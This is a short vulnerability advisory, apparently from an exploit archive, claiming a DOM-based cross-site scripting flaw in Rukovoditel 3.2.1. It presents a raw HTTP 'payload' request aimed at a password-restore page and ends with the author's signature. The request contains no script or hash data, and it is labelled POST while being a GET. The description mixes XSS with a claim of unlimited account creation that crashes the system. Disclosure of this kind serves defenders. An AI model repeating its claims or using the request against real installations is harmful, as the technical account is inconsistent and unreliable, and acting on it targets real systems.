rukovoditel 3.2.1 - Cross-Site Scripting (XSS)

## Title: rukovoditel 3.2.1 - Cross-Site Scripting (XSS)
## Author: nu11secur1ty
## Date: 11.03.2022
## Vendor: https://www.rukovoditel.net/
## Software: https://sourceforge.net/projects/rukovoditel/files/rukovoditel_3.2.1.zip/download
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1

## Description:
The application is vulnerable to DOM-based cross-site scripting
attacks. Data is read from `location.hash` and passed to
`jQuery.parseHTML`.
The attacker can use this vulnerability to create an unlimited number
of accounts on this system until it crashed.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Payload:

```POST
GET /rukovoditel/index.php?module=users/restore_password HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63
Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: sid=jf2mf72r2kfakhhnn6evgusrcg;
cookie_test=please_accept_for_session;
app_login_redirect_to=module%3Ddashboard%2F
Upgrade-Insecure-Requests: 1
Referer: http://pwnedhost.com/rukovoditel/index.php?module=users/login
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1)

## Proof and Exploit:
[href](https://streamable.com/i1qmfk)

## Time spent
`3:45`

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>